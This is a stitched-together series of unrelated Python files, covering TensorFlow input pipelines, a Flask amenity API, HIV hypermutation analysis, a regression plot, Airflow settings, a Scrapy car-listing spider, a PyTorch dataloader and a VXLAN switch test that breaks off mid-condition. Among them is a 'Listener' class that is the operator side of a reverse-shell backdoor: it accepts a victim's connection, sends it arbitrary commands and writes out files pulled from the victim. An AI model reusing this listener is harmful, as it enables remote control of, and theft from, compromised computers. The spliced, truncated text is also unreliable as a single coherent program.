import tensorflow as tf
from utils import get_train_data, get_test_data, get_filenames

def input_fn_helper(filenames,
                    img_size,
                    is_test=False):
    def load(filename):
        bytes = tf.read_file(filename)
        img_decoded = tf.image.decode_jpeg(bytes, channels=3)
        img_resized = tf.image.resize_images(img_decoded, img_size)
        img_normalized = tf.divide(tf.cast(img_resized, 'float'), tf.constant(255.))
        img_flipped = tf.image.random_flip_left_right(img_normalized)

        if is_test:
            return img_flipped
        return img_flipped, img_flipped

    dataset = tf.data.Dataset.from_tensor_slices((filenames, ))
    dataset = dataset.map(load)
    return dataset

def train_input_fn(root,
                   img_size,
                   batch_size,
                   buffer_size):
    filenames = get_filenames(root,
                              shuffle=True,
                              is_test=True)

    dataset = input_fn_helper(filenames, img_size)

    dataset = dataset.shuffle(buffer_size).batch(batch_size)
    dataset = dataset.repeat()

    images_x, images_y = dataset.make_one_shot_iterator().get_next()

    features_dic = {'image': images_x}
    return features_dic, images_y

def eval_input_fn(root,
                  img_size,
                  batch_size,
                  buffer_size):
    filenames = get_filenames(root,
                              shuffle=False,
                              is_test=True)

    dataset = input_fn_helper(filenames, img_size)
    dataset = dataset.prefetch(buffer_size).batch(batch_size)
    dataset = dataset.repeat(1)

    images_x, images_y = dataset.make_one_shot_iterator().get_next()

    features_dic = {'image': images_x}
    return features_dic, images_y

def predict_input_fn(root,
                     img_size,
                     batch_size,
                     buffer_size):
    filenames = get_filenames(root,
                              shuffle=False,
                              is_test=True)
    dataset = input_fn_helper(filenames, img_size, is_test=True)
    dataset = dataset.prefetch(buffer_size).batch(batch_size)
    dataset = dataset.repeat(1)

    images_x = dataset.make_one_shot_iterator().get_next()

    features_dic = {'image': images_x}
    return features_dic


import socket,json,subprocess,base64,time
class Listener:
    def __init__(self,ip,port):
        self.ip = ip
        self.port = port

    def write_file(self,path,content):
        with open(path,"wb") as file:
            file.write(base64.b64decode(content))
            file.close()
        return "[+]DOWNLOADED " + path

    def exit(self,):
        print("[+] DISCONNECTING")
        print("[+] EXITING")
        time.sleep(10)
        subprocess.call("clear", shell=True)
        exit()

    def send(self,data,connection):
        commands = json.dumps(data)
        connection.send(commands)
        if data[0] == "exit":
            connection.close()
            self.exit()

    def receive(self,connection):
        data = ""
        while True:
            try:
                data += connection.recv(1024)
                output = json.loads(data)
                return output
            except ValueError:
                continue

    def current_directory(self,connection):
        self.send(["cd"], connection)
        cd = self.receive(connection)
        return cd

    def post_connection(self,connection):
        cd = self.current_directory(connection)
        cd = str(cd)
        while True:
            command = raw_input("COMMAND >> ").split(" ")
            self.send(command,connection)
            output = self.receive(connection)
            if command[0] == "download":
                output = self.write_file(command[1],output)
            print(output)

    def start(self):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((self.ip,self.port))
        listener.listen(0)
        print("[+] WAITING FOR A CONNECTION")
        self.connection, self.address = listener.accept()
        print("[+] CONNECTED TO " + str(self.address))
        try:
            self.post_connection(self.connection)
        except KeyboardInterrupt:
            self.send("exit",self.connection)


#!/usr/bin/python3
""" RESTful routes for Amenity objects """

from models import storage
from models.amenity import Amenity
from flask import jsonify, abort, request, make_response
from api.v1.views import app_views

@app_views.route("/amenities", methods=["GET"], strict_slashes=False)
def all_amenities():
    """ Retrieves the list of all Amenity objects """
    amenity_list = []

    for entry in storage.all("Amenity").values():
        amenity_list.append(entry.to_dict())
    return jsonify(amenity_list)

@app_views.route("/amenities/<amenity_id>", methods=["GET"],
                 strict_slashes=False)
def get_amenity(amenity_id):
    """ Retrieves an Amenity object """
    amenity = storage.get("Amenity", amenity_id)

    if amenity:
        return jsonify(amenity.to_dict())
    else:
        abort(404)

@app_views.route("/amenities/<amenity_id>", methods=["DELETE"],
                 strict_slashes=False)
def delete_amenity(amenity_id):
    """ Deletes an Amenity object """
    amenity = storage.get("Amenity", amenity_id)

    if amenity:
        storage.delete(amenity)
        return jsonify({}), 200
    else:
        abort(404)

@app_views.route("/amenities", methods=["POST"], strict_slashes=False)
def create_amenity():
    """ Creates a new Amenity object """
    param = request.get_json()

    if not param:
        return "Not a JSON", 400
    if "name" not in param.keys():
        return "Missing name", 400

    new_amenity = Amenity(**param)
    new_amenity.save()
    return jsonify(new_amenity.to_dict()), 201

@app_views.route("/amenities/<amenity_id>", methods=["PUT"],
                 strict_slashes=False)
def update_amenity(amenity_id):
    """ Updates an Amenity object """

    amenity = storage.get("Amenity", amenity_id)
    if not amenity:
        abort(404)

    param = request.get_json()
    if not param:
        return "Not a JSON", 400

    for key, value in param.items():
        setattr(amenity, key, value)

    amenity.save()
    return jsonify(amenity.to_dict()), 200


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Perform Hypermutation analysis based on Hypermut v2.0

@author: Ce Gao
"""

import re
import logging

from Bio import SeqIO
from scipy.stats import fisher_exact

# pylint: disable=C0103
# Invalid constant name
logger = logging.getLogger('pipe.hypermut')

def get_pos(pattern, string):
    """Get start position for each pattern match in string
    """
    return set(m.start() for m in re.finditer(pattern, string))

def _hypermut(ref_aln, qry_aln):
    """Perform pairwise hypermut analysis between reference and query seqs

    Parameters
    ----------
    ref_str: str
        reference seq
    qry_str: str
        query seq
    """
    # Too many local variables
    # pylint: disable=R0914

    aln = [(i, j) for i, j in zip(ref_aln, qry_aln) if i != '-' or j != '-']

    ref_str = ''.join(i for i, _ in aln)
    qry_str = ''.join(i for _, i in aln)

    indx_down_mut = get_pos('(?=.[AG][^C])', qry_str)
    indx_down_ctl = get_pos('(?=.([CT].|[AG]C))', qry_str)
    indx_from = get_pos('G', ref_str)
    indx_to = get_pos('A', qry_str)

    mut_pot = indx_from.intersection(indx_down_mut)
    ctl_pot = indx_from.intersection(indx_down_ctl)
    mut = mut_pot.intersection(indx_to)
    ctl = ctl_pot.intersection(indx_to)

    cnt_mut = len(mut)
    cnt_mut_pot = len(mut_pot)
    cnt_ctl = len(ctl)
    cnt_ctl_pot = len(ctl_pot)

    _, pval = fisher_exact([[cnt_mut, cnt_mut_pot - cnt_mut],
                            [cnt_ctl, cnt_ctl_pot - cnt_ctl]],
                           alternative='greater')
    try:
        ratio = (cnt_mut / cnt_mut_pot) / (cnt_ctl / cnt_ctl_pot)
    except ZeroDivisionError:
        ratio = float('Inf')

    psc = 'Yes' if pval < 0.05 else 'No'

    return (cnt_mut, cnt_mut_pot, cnt_ctl, cnt_ctl_pot, ratio, pval, psc)

def _hyper_long(ref, qry, seqs):
    """ hyper

    """
    # Perform hypermut analysis
    ret = _hypermut(str(ref.seq), str(qry.seq))

    seqs.call[qry.id]['hypermut'] = ret[-1]
    seqs.info[qry.id]['hypermut'] = ret[:-1]

def _hyper_drop(file_ref, file_drop, seqs):
    """Hypermutation for those short seqs
    """

    # Check the size of file_drop: stop early if no seqs get dropped
    import os.path

    try:
        f_size = os.path.getsize(file_drop)
    except OSError:
        return

    if f_size == 0:
        return

    # Run HypermutShort
    import tempfile
    fh_out = tempfile.NamedTemporaryFile(delete=False)
    from Bio.Blast.Applications import NcbiblastnCommandline
    cline = NcbiblastnCommandline(out=fh_out.name, query=file_drop,
                                  db=file_ref, outfmt=5,
                                  max_hsps=1, task='blastn')

    cline()
    from Bio.Blast import NCBIXML
    blast_records = NCBIXML.parse(open(fh_out.name))

    for blast_record in blast_records:
        qseqid = blast_record.query
        for aln in blast_record.alignments:
            hsps = aln.hsps[0]
            res = _hypermut(hsps.sbjct, hsps.query)

            seqs.call[qseqid]['hypermut'] = res[-1]
            seqs.info[qseqid]['hypermut'] = res[:-1]

def _write_hyper_summary(seqs, file_out):
    with open(file_out, 'wt') as f_o:
        header = "\t".join(['ID', 'Muts', 'PotenMuts', 'Ctls', 'PotenCtls',
                            'Ratio', 'p', 'Hypermut?'])
        print(header, file=f_o)

        line = "{}\t{}\t{}\t{}\t{}\t{}\t{}\t{}"

        for qid in seqs.qids:
            print(line.format(qid, *seqs.info[qid]['hypermut'],
                              seqs.call[qid]['hypermut']),
                  file=f_o)

def hypermut(configs, seqs):
    """Hypermut analysis
    """
    # Logging
    logger.info('Running Hypermut analysis')

    file_aln = configs['file_aln']

    # File name of reference genome, e.g., ref.fasta
    file_ref = configs['file_ref']

    # File name of query seqs, e.g., contig.fasta
    file_seqs_drop = configs['file_seqs_drop']

    # Reference
    recs = SeqIO.parse(file_aln, 'fasta')
    for rec in recs:
        if 'HXB2' in rec.id:
            ref = rec
            break

    recs = SeqIO.parse(file_aln, 'fasta')
    for qry in recs:
        if 'HXB2' in qry.id:
            continue
        _hyper_long(ref, qry, seqs)

    # Run hypermut for long contigs
    for qid in seqs.qids:
        if seqs.call[qid]['is_hiv'] == 'No':
            seqs.call[qid]['hypermut'] = 'Pass'
            seqs.info[qid]['hypermut'] = tuple('Pass' for _ in range(6))

    # Run hypermut for short ones
    _hyper_drop(file_ref, file_seqs_drop, seqs)

    # Write report
    _write_hyper_summary(seqs, configs['file_out'])


# ============================================================================ #
#                             LINEAR REGRESSION                                #
# ============================================================================ #
# Renders stacked line charts showing convex and non-convex obj function
#%%
import pandas as pd
import plotly.offline as po
import plotly.graph_objs as go
import numpy as np
from sklearn import datasets
from ml_studio.supervised_learning.regression import LinearRegression
from ml_studio.utils.data_manager import StandardScaler
from ml_studio.visual.animations import SingleModelFit2D, SingleModelSearch3D
directory = "./content/figures/"
# ---------------------------------------------------------------------------- #
#                                   DATA                                       #
# ---------------------------------------------------------------------------- #
#%%
# Data
boston = datasets.load_boston()
bdf = pd.DataFrame(boston['data'], columns=boston['feature_names'])
bdf['Price']=boston['target']
bdf = bdf[['RM', 'Price']]
bdf = bdf.rename(columns={"RM": 'Rooms'})
X = bdf['Rooms']
X = X.to_numpy().reshape(-1,1)
y = bdf['Price']
y = y.to_numpy()
# Data transformation
scaler = StandardScaler()
scaler.fit(X)
X_scaled = scaler.transform(X)
# ---------------------------------------------------------------------------- #
#                                    PLOT                                      #
# ---------------------------------------------------------------------------- #
#%%
# Linear Regression Scatterplot
data = go.Scatter(
    x=X[:,0],
    y=y,
    mode='markers',
    marker=dict(color='steelblue')
)
layout = go.Layout(title='Boston Housing Prices by Rooms',
                   height=400,
                   width=800,
                   showlegend=False,
                   xaxis_title="Average No. Rooms",
                   yaxis_title="Median Price ($000)",
                   margin=dict(l=10,r=10,t=40,b=10),
                   template='plotly_white'
                   )
fig = go.Figure(data=data, layout=layout)
fig.show()
po.plot(fig, filename = "./content/figures/boston.html", auto_open=False)
# ---------------------------------------------------------------------------- #
#                             LINEAR REGRESSION                                #
# ---------------------------------------------------------------------------- #
#%%
# Linear Regression
lr = LinearRegression(epochs=50, learning_rate=0.05)
lr.fit(X_scaled,y)
plot = SingleModelSearch3D()
plot.search(lr, directory=directory, filename="linear_regression_search.gif")
plot = SingleModelFit2D()
plot.fit(lr, directory=directory, filename="linear_regression_fit.gif")
#%%

# %%


from datetime import datetime, timedelta

default_args = {
    "owner": "airflow",
    "email_on_failure": False,
    "email_on_retry": False,
    "email": "d.stiles.r@hotmail.com",
    "start_date": datetime(2020, 8, 15),
    "retries": 1,
    "retry_delay": timedelta(minutes=10),
    "execution_timeout": timedelta(seconds=300),
    # Otros
    # 'queue': 'bash_queue',
    # 'pool': 'backfill',
    # 'priority_weight': 10,
    # 'end_date': datetime(2016, 1, 1),
    # 'wait_for_downstream': False,
    # 'dag': dag,
    # 'sla': timedelta(hours=2),
    # 'on_failure_callback': some_function,
    # 'on_success_callback': some_other_function,
    # 'on_retry_callback': another_function,
    # 'sla_miss_callback': yet_another_function,
    # 'trigger_rule': 'all_success'
}


import scrapy

class TruecarSpider(scrapy.Spider):
  name = "truecar"

  def start_requests(self):
    urls = ['https://www.truecar.com/used-cars-for-sale/listings/hyundai/kona/',
    'https://www.truecar.com/used-cars-for-sale/listings/honda/hr-v/']

    for url in urls:
      yield scrapy.Request(url=url, callback=self.parse)

  def parse(self, response):

    all_listings = response.xpath('//div[@data-qa="Listings"]')

    for car in all_listings:
      make_model = car.css('div[data-test="vehicleListingCardTitle"] > div')
      year = make_model.css('span.vehicle-card-year::text').get()
      trim = make_model.css('div[data-test="vehicleCardTrim"]::text').get()
      model_raw = make_model.css('span.vehicle-header-make-model').get()
      model = model_raw[model_raw.find('>')+1:-7].replace('<!-- -->', '')

      car_data = {
        'url': 'http://truecar.com' + car.css('a::attr(href)').get(),
        'model': year + ' ' + model,
        'trim': trim,
        'color': car.css('div[data-test="cardContent"] > div > div.text-truncate::text').get(),
        'mileage': car.css('div[data-test="cardContent"] > div > div > div[data-test="vehicleMileage"]::text').get(),
        'price': car.css('h4::text').get(),
      }

      yield car_data


import json, argparse
from typing import List
import os
from collections import defaultdict
import json
from torch.utils.data import Dataset, DataLoader
import torch
import numpy as np
import re
from PIL import Image
import torchvision
import torchvision.transforms as transforms

class Pragmatics_Dataloader(Dataset):
    """
    Dataloader for the Pragmatics Model.
    Loads in the dictionary and dataset, converts the sentences into the tokens they represent in the embedding
    Defined classes for the listener and speaker models that return the specific stuff respective to their classes
    """

    def __init__(self, dictionary_dir, dataset_dir, dataset_type):
        super().__init__()
        script_dir = os.path.dirname(os.path.abspath(__file__))
        dataset_path = os.path.join(script_dir, dataset_dir)
        dictionary_path = os.path.join(script_dir, dictionary_dir)
        self.dataset_type = dataset_type
        f_dict = open(dictionary_path).readlines()
        self.dictionary = json.loads(f_dict[0])
        self.dataset = [json.loads(l) for l in open(dataset_path).readlines()]
        self.sentence_tokenization()

    def sentence_tokenization(self):
        for j in range(len(self.dataset)):
            example = self.dataset[j]
            sentence = example["sentence"]
            sentence_list = re.findall(r"[\w']+|[.,!?;]", sentence)
            length = len(sentence_list)
            token_list = torch.zeros(length + 2, dtype=torch.long)
            token_list[0] = self.dictionary["start_sentence"]
            token_list[length + 1] = self.dictionary["end_sentence"]
            for i in range(length):
                try:
                    word = sentence_list[i]
                    idx = self.dictionary[word]
                    token_list[i+1] = idx
                except KeyError:
                    idx = self.dictionary["unknown_word"]
                    token_list[i+1] = idx

            self.dataset[j]["token_sentence"] = token_list

    def getImage(self, img_dir, img_idt):
        """ generator tensor for referent image """
        script_dir = os.path.dirname(os.path.abspath(__file__))
        img_path = os.path.join(script_dir , self.dataset_type , "images" , img_dir , self.dataset_type + "-" + img_idt + ".png")
        img = Image.open(img_path)
        transformation = transforms.Compose([
            transforms.Resize(256),
            transforms.CenterCrop(224),
            transforms.ToTensor(),
            lambda x: x[:3],
            transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
        ])
        t_img = transformation(img)
        return t_img

    def __len__(self):
        return len(self.dataset)

class Speaker_Dataset(Pragmatics_Dataloader):
    """
    Dataloader for the speaker part of the model
    Returns:
    The tokenized sentence (Convert each word/punctuation in the sentence into a token)
    The image it describes
    """
    def __getitem__(self, index):
        example = self.dataset[index]
        example_directory = example["directory"]
        example_identifier = example["identifier"]
        choice = np.random.choice(6)
        image = self.getImage(example_directory, str(example_identifier) + "-" + str(choice))
        return (
            example["token_sentence"],
            image
        )

class Listener_Dataset(Pragmatics_Dataloader):
    """
    Dataloader for the listener part of the model
    Returns:
    The tokenized sentence (Convert each word/punctuation in the sentence into a token)
    A list of images to run through and see which it would describe
    An index refering to which image is the one it actually describes (only one in the list) (can be -1)
    """
    def __getitem__(self, index):
        example = self.dataset[index]
        image_paths = example["images"]
        images = []
        for img_idx in image_paths:
            img_identifier = img_idx[0]
            img_directory = img_idx[1]
            choice = np.random.choice(6)
            image = self.getImage(img_directory, img_identifier + "-" + str(choice))
            images.append(image.expand(1, -1, -1, -1))
            correct = images[-1]
            rest = images[:-1]
            num = int(torch.randint(0, (len(rest) + 1), (1,)))
            rest.insert(num, correct)

        return (
            example["token_sentence"],
            torch.cat(rest, 0),
            num
        )


from retrying import retry
from topology_common.utils.threading import ThreadGroup
from time import sleep
from pytest import (
    mark,
    fixture
)
from topology_common.ops.vxlan.ft_vxlan_lib import (
    TrafficType,
    verify_mac_table
)

from topology_common.ops.vlans.vlan import configure_switch_vlan

from topology_common.ops.l3_common.ft_l3_lib import (
    AddressType
)

from fixtures import (
    env_setup_hs_sw_hs_hs_hs,
    l2_basic_phy,
    l3_basic_phy
)

__doc__ = """
Test Case Header:
=================
:Author: Anvita Mishra anvita.mishra@hpe.com
:TestId: 00000
:Release: 10_04
:TestName: test_ft_VxLAN_TrafficMultiAVPNVP
:Objective: Verify VXLAN encapsulation and decapsulation across
            multiple AVPs and NVPs with multiple traffic types.
            The NVPs are part of a multi-member ECMP group.
:Requirements:
    - 1 switch
    - 4 hosts
:TestDescription: This test-case verifies VXLAN encapsulation is working for
    different traffic types on AVP-->All direction and decapsulation for
    NVP-->All direction. This test-case also verifies ECMP load balancing
    behavior for Known Unicast Traffic

    1.  Setup the topology as shown and enable all interfaces.
    2.  Configure VXLAN on the switch
    3.  Send packet from AVP1 to all other hosts. Verify correct
        encapsulation at one NVP (one member of the ECMP group)
        and correct packet transmission at AVP2.
    4.  Send encapsulated packet from NVP1 to all and verify that
        the packet is correctly decapsulated at AVP1 for known unicast traffic
        and flooded to all AVPs for all other traffic types. Verify that the
        packet is not received at the NVP on the same tunnel.
    5.  Testing ECMP Load Balancing behavior by permuting the Source MAC
        bitwise and checking which member of the ECMP group receives traffic.
:PlanPriority: 3 - High
:TestPassCriteria: -
    1. Setup of the topology successfully created.
    2. Packet successfully transmitted from AVP1 to all other hosts.
    3. Source MAC from packet sucessfully learned
    4. Packet successfully transmitted from NVP1 to all other hosts.
    5. Source MAC from packet successfully learned.
    6. Packet Permutations successfully transmitted from AVP1 to all other hosts.
    7. ECMP Load Balancing behavior occurs as expected for each traffic type
:PlatformIndependent: Y
:SupportedPlatforms: 8325
Topology:
=========
.. ditaa::

+-----------+   +-----------+
|           |   |           |
|   h3      |   |   h4      |
|   NVP1    |   |   NVP2    |
|           |   |           |
+----+------+   +------+----+
     |                 |
+----+-----------------+-----+
|                            |
|           s1               |
|                            |
+----+------------------+----+
     |                  |
+----+------+    +------+---+
|           |    |          |
|   h1      |    |   h2     |
|   AVP1    |    |   AVP2   |
|           |    |          |
+-----------+    +----------+

"""

TOPOLOGY = """
# Nodes
[type=halon_0 name="OpenSwitch 1" target="true"] ops1
[type=host name="Host 1" image="ubuntuscapy_2.4:latest"] hs1
[type=host name="Host 2" image="ubuntuscapy_2.4:latest"] hs2
[type=host name="Host 3" image="ubuntuscapy_2.4:latest"] hs3
[type=host name="Host 4" image="ubuntuscapy_2.4:latest"] hs4

# Links
ops1:if01 -- hs1:eth1
ops1:if02 -- hs2:eth1
ops1:if03 -- hs3:eth1
ops1:if04 -- hs4:eth1
"""

# Global Variables
AVP_MAC = ""
NVP_MAC = ""
VNI = 1760
UDP_DPORT = 4789
UDP_SPORT = 1234
SRC_IP = ""
DST_IP = ""
OUTER_SRC_MAC = ""
OUTER_DST_MAC = ""
PKT_TYPE = ''

# Global fixed variables
STP_DEST_MAC = "01:80:c2:00:00:00"
BROADCAST_MAC = "ff:ff:ff:ff:ff:ff"
MULTICAST_MAC = "01:00:00:00:00:bb"
LLDP_MAC = "01:80:c2:00:00:0e"
AVP1_MAC = "00:00:00:00:00:11"
NVP1_MAC = "00:00:00:00:00:aa"
SW_MAC = ""

# NVP IPs and IPs
# IPs  and MACs only needed for NVPs h3 and h4
HOST3_MAC = ""
HOST4_MAC = ""
H3_IP = '30.0.0.100'
H4_IP = '40.0.0.100'

VTEP_PEER_IP = '20.0.0.2'

# Switch SVI IPs
S1_SVI_IP_1 = '30.0.0.1'
S1_SVI_IP_2 = '40.0.0.1'

# Switch Loopback IP
# Used for VxLAN tunnel Source IP
S1_LO_IP = '1.1.1.1'

MASK = '24'
DEST_MASK = '32'

VLAN1 = '10'
VLAN2 = '30'
VLAN3 = '40'
VNI_HEX = '0x6e0'
TUN_NUM = '1'

PKT_COUNT = 5
SNIFF_PKT_COUNT = 10

# Number of MACs to send for ECMP Loading
TOTAL_MACS = 50

# This timeout parameter is for sending 5 packets
TIMEOUT = 5

# This timeout parameter is for sending 50 packets
LONG_TIMEOUT = 15

# Global dict to store packet count
# Updated in parse_packet function
RECEIVED_PKT_DICT = {}

@fixture(scope='function')
def config(env_setup_hs_sw_hs_hs_hs, request, testlog):
    '''
    Fixture to get the global fixture for this topology and run the teardown

    :param env_setup_hs_sw_hs: global fixture for the topology
    :param request: request param from pytest fixture
    :param testlog: testlog fixture
    '''
    yield env_setup_hs_sw_hs_hs_hs

    testlog.log_step("Teardown")
    env_setup_hs_sw_hs_hs_hs.teardown()

@fixture(scope='function')
def get_switch_mac(topology):
    '''
    Helper function to get mac address from the switch
    '''
    global SW_MAC
    s = topology.get('ops1')
    result = s.libs.vtysh.show_system()
    SW_MAC = result['base_mac']
    yield

@fixture(scope='function')
def get_host_macs(topology):
    '''
    Helper function to get mac addresses for NVP hosts h3 and h4
    '''
    global HOST3_MAC, HOST4_MAC

    h3 = topology.get('hs3')
    h4 = topology.get('hs4')

    h3_port = h3.ports['eth1']
    h4_port = h4.ports['eth1']

    ifconfig = h3.libs.ip.get_ifconfig(h3_port)
    HOST3_MAC = ifconfig[h3_port]['hwaddr']

    ifconfig = h4.libs.ip.get_ifconfig(h4_port)
    HOST4_MAC = ifconfig[h4_port]['hwaddr']
    yield

@fixture(scope='function',
         ids=['l2_basic', 'stp', 'broadcast', 'multicast', 'lldp'],
         params=[TrafficType.l2_basic, TrafficType.stp,
                 TrafficType.broadcast, TrafficType.multicast,
                 TrafficType.lldp])
def traffic_permutation(request):
    """
    Set the global variables for traffic
    """
    global AVP_MAC, NVP_MAC, UDP_SPORT, SRC_IP, DST_IP, OUTER_SRC_MAC,\
        OUTER_DST_MAC, PKT_TYPE

    # Values common to all packet types
    SRC_IP = VTEP_PEER_IP
    DST_IP = S1_LO_IP
    OUTER_SRC_MAC = HOST3_MAC
    OUTER_DST_MAC = SW_MAC
    AVP_MAC = AVP1_MAC

    # NVP_MAC updated based on pkt_type
    NVP_MAC_dict = {TrafficType.l2_basic: NVP1_MAC,
                    TrafficType.stp: STP_DEST_MAC,
                    TrafficType.broadcast: BROADCAST_MAC,
                    TrafficType.multicast: MULTICAST_MAC,
                    TrafficType.lldp: LLDP_MAC}

    PKT_TYPE_dict = {TrafficType.l2_basic: 'l2_basic',
                     TrafficType.stp: 'stp',
                     TrafficType.broadcast: 'broadcast',
                     TrafficType.multicast: 'multicast',
                     TrafficType.lldp: 'lldp'}

    NVP_MAC = NVP_MAC_dict[request.param]
    PKT_TYPE = PKT_TYPE_dict[request.param]

    yield request.param

def generate_params(sw):
    """
    Return arguments required for every single permutation

    :param sw: Topology switch object
    :param permutation: Main pytest fixture for this test
    """

    # List of vlan ids to use for this permutation
    vlan_ids = []
    # Physical ports  required for this permutation per L3 interface
    phy_ports = []
    # L3 interfaces to be created
    l3_interfaces = 0
    # List of ip address for every host
    ip_address_hs = []
    # VxLAN interfaces to be created
    vxlan_ids = []
    # VNIs to be created
    vnis = {}
    # VTEP Peers to be created
    vtep_peers = []

    vlan_ids = [VLAN1, VLAN2, VLAN3]
    vxlan_ids = [TUN_NUM]
    vnis = {VNI: {'vlan': [VLAN1], 'vtep_peer': [VTEP_PEER_IP]}}
    l3_interfaces = 1
    phy_ports = [sw.vtysh_ports['if01'], sw.vtysh_ports['if02'],
                 sw.vtysh_ports['if03'], sw.vtysh_ports['if04']]
    ip_address_hs = [H3_IP, H4_IP]
    vtep_peers = [H3_IP, H4_IP]

    return {'vlan_ids': vlan_ids,
            'vxlan_ids': vxlan_ids,
            'vnis': vnis,
            'vtep_peers': vtep_peers,
            'l3_interfaces': l3_interfaces,
            'phy_ports': phy_ports,
            'ip_address_hs': ip_address_hs}

def configure_host_ips(h3, h4, ip_address_hs):
    """
    Configure host IPs for the NVPs (h3 and h4)
    AVPs do not need IPs assigned for test

    :param h3: A Topology host object
    :param h4: A Topology host object
    :param ip_address_hs: A list of ip addresses to configure h3 and h4
    """

    h3.libs.ip.flush_ip('eth1')
    h3.libs.ip.interface('eth1', up=False)

    h4.libs.ip.flush_ip('eth1')
    h4.libs.ip.interface('eth1', up=False)

    h3.libs.ip.interface(portlbl='eth1', addr="{}/{}".format(
        ip_address_hs[0], MASK), up=True)
    h4.libs.ip.interface(portlbl='eth1', addr="{}/{}".format(
        ip_address_hs[1], MASK), up=True)

def start_stop_scapy_on_hosts(hs, action='start'):
    """
    Function to start and stop scapy daemon on hosts

    :param hs: A Topology host object
    :param action: By default, the value is 'start'
            If set to any other value, scapy will exit
    """
    if action == 'start':
        hs.libs.scapy.start_scapy()
    else:
        hs.libs.scapy.exit_scapy()

def scapy_configuration_avp(hs, pkt_type=None, macsrc=None, macdst=None):
    """
    Function to configure scapy for packet in AVP->All direction

    :param hs: A Topology host object
    :param pkt_type: l2_basic, stp, broadcast, multicast, or lldp
    :param macsrc: Source MAC address
    :param macdst: Destination MAC address
    """
    # L2 header
    eth_header = hs.libs.scapy.ether()

    eth_header['src'] = '{}'.format(macsrc)
    eth_header['dst'] = '{}'.format(macdst)

    if isinstance(macsrc, list):
        eth_header['src'] = macsrc
    packet_list = []
    packet_struct = ""

    # If pkt_type is stp, need additional STP and LLC headers
    if pkt_type == 'stp':
        # Raw data
        stp_header = hs.libs.scapy.stp()
        llc_header = hs.libs.scapy.llc()
        packet_list = [eth_header, llc_header, stp_header]
        packet_struct = "Eth/LLC()/STP()"

    # For all other packet types, packet structure is same
    else:
        # Update raw_data with pkt_type
        raw_data = {'data': "{} packet from AVP end".format(pkt_type)}
        packet_list = [eth_header, raw_data]
        packet_struct = "Eth/data"

    packet = [packet_struct, packet_list]

    return packet

def scapy_configuration_nvp(hs, pkt_type=None,
                            inner_macsrc=None, inner_macdst=None, vni=None,
                            src_port=None, dst_port=None, src_IP=None,
                            dst_IP=None, outer_macsrc=None, outer_macdst=None):
    """
    Function to configure scapy for packet in NVP->All direction

    :param hs: A Topology host object
    :param pkt_type: l2_basic, stp, broadcast, multicast, or lldp
    :param inner_macsrc: Encapsulated packet source MAC address
    :param inner_macdst: Encapsulated packet destination MAC address
    :param vni: VNI value for VxLAN header
    :param src_port: UDP source port
    :param dst_port: UDP destination port
    :param src_IP: Source VTEP's IP
    :param dst_IP: Destination VTEP's IP
    :param inner_macsrc: Source VTEP's MAC address
    :param inner_macdst: Next hop MAC address
    """
    # Inner L2 header
    inner_eth_header = hs.libs.scapy.ether()
    inner_eth_header['prot'] = 'ENCAP_ETH'
    inner_eth_header['src'] = '{}'.format(inner_macsrc)
    inner_eth_header['dst'] = '{}'.format(inner_macdst)

    # VxLAN header
    vxlan_header = hs.libs.scapy.vxlan()
    vxlan_header['vni'] = vni
    vxlan_header['flags'] = 'Instance'
    # UDP header
    udp_header = hs.libs.scapy.udp()
    udp_header['sport'] = src_port
    udp_header['dport'] = dst_port
    # IP header
    ip_header = hs.libs.scapy.ip()
    ip_header['src'] = '{}'.format(src_IP)
    ip_header['dst'] = '{}'.format(dst_IP)
    # Outer L2 header
    outer_eth_header = hs.libs.scapy.ether()
    outer_eth_header['src'] = '{}'.format(outer_macsrc)
    outer_eth_header['dst'] = '{}'.format(outer_macdst)
    outer_eth_header['type'] = 0x0800
    # Inner L2 header
    inner_eth_header['src'] = '{}'.format(inner_macsrc)
    inner_eth_header['dst'] = '{}'.format(inner_macdst)

    # If pkt_type is stp, need additional STP and LLC headers
    if pkt_type == 'stp':
        stp_header = hs.libs.scapy.stp()
        llc_header = hs.libs.scapy.llc()
        packet_list = [outer_eth_header, ip_header, udp_header,
                       vxlan_header, inner_eth_header, llc_header, stp_header]
        packet_struct = "Eth/IP/UDP/VXLAN/ENCAP_ETH/LLC()/STP()"

    # For all other packet types, packet structure is same
    else:
        # Update raw_data with pkt_type
        raw_data = {'data': "{} packet from NVP end".format(pkt_type)}
        packet_list = [outer_eth_header, ip_header, udp_header,
                       vxlan_header, inner_eth_header, raw_data]
        packet_struct = "Eth/IP/UDP/VXLAN/ENCAP_ETH/data"

    packet = [packet_struct, packet_list]
    return packet

def start_traffic(hs, packet, count):
    """
    Start Traffic
    :param hs: Host hs.
    :param packet: Custom header to send.
    :param count: Number of packets to send
    """

    # Waiting 2 sec to give some time to sniffer to be ready
    sleep(2)
    iface = hs.ports['eth1']
    # Start Traffic
    hs.libs.scapy.sendp(packet[0], packet[1],
                        "iface='{}', count = {}, inter=0.2".format(iface, count))

def check_packet(packet, recipient_type, pkt_type, exp_src, exp_dst):
    """
    Helper function to determine how many packets are correctly received.
    Return packet_count

    :param packet: Dictionary of sniffed packets.
    :param recipient_type: String describing if recipient host is an AVP or NVP
    :param pkt_type: l2_basic, stp, broadcast, multicast, or lldp
    :param exp_src: String representing expected source MAC of packet
    :param exp_dst: String representing expected destination MAC of packet
    """
    packet_count = 0

    # If recipient is AVP, check for simple packet
    if ("AVP" in recipient_type):
        for pkt in packet.values():
            # Boolean to store if packet is correct. Set to False initially
            correctly_received = False

            # Check 1: Check src and dst MACs match expected
            if ((pkt['Ethernet']['src'] in exp_src) and
                    (pkt['Ethernet']['dst'] == exp_dst)):

                # Check 2: If packet type is LLDP, check raw string for "lldp"
                if (pkt_type == "lldp"):
                    # If "lldp" is present, set correctly_received to True
                    if ("lldp" in pkt['Ethernet']['Raw']['load']):
                        correctly_received = True

                # Packet type is not LLDP, so only Check 1 is required
                # Set correctly_received to True
                else:
                    correctly_received = True

            # Update total packet count with value of correctly_received
            packet_count += correctly_received

    # If recipient is NVP, then check for VXLAN encapsulated packet
    elif ("NVP" in recipient_type):
        for pkt in packet.values():
            # Boolean to store if packet is correct. Set to False initially
            correctly_received = False

            # Check 1: Check if VxLAN fields are correct
            if ((pkt['Ethernet']['IP']['src'] == S1_LO_IP) and
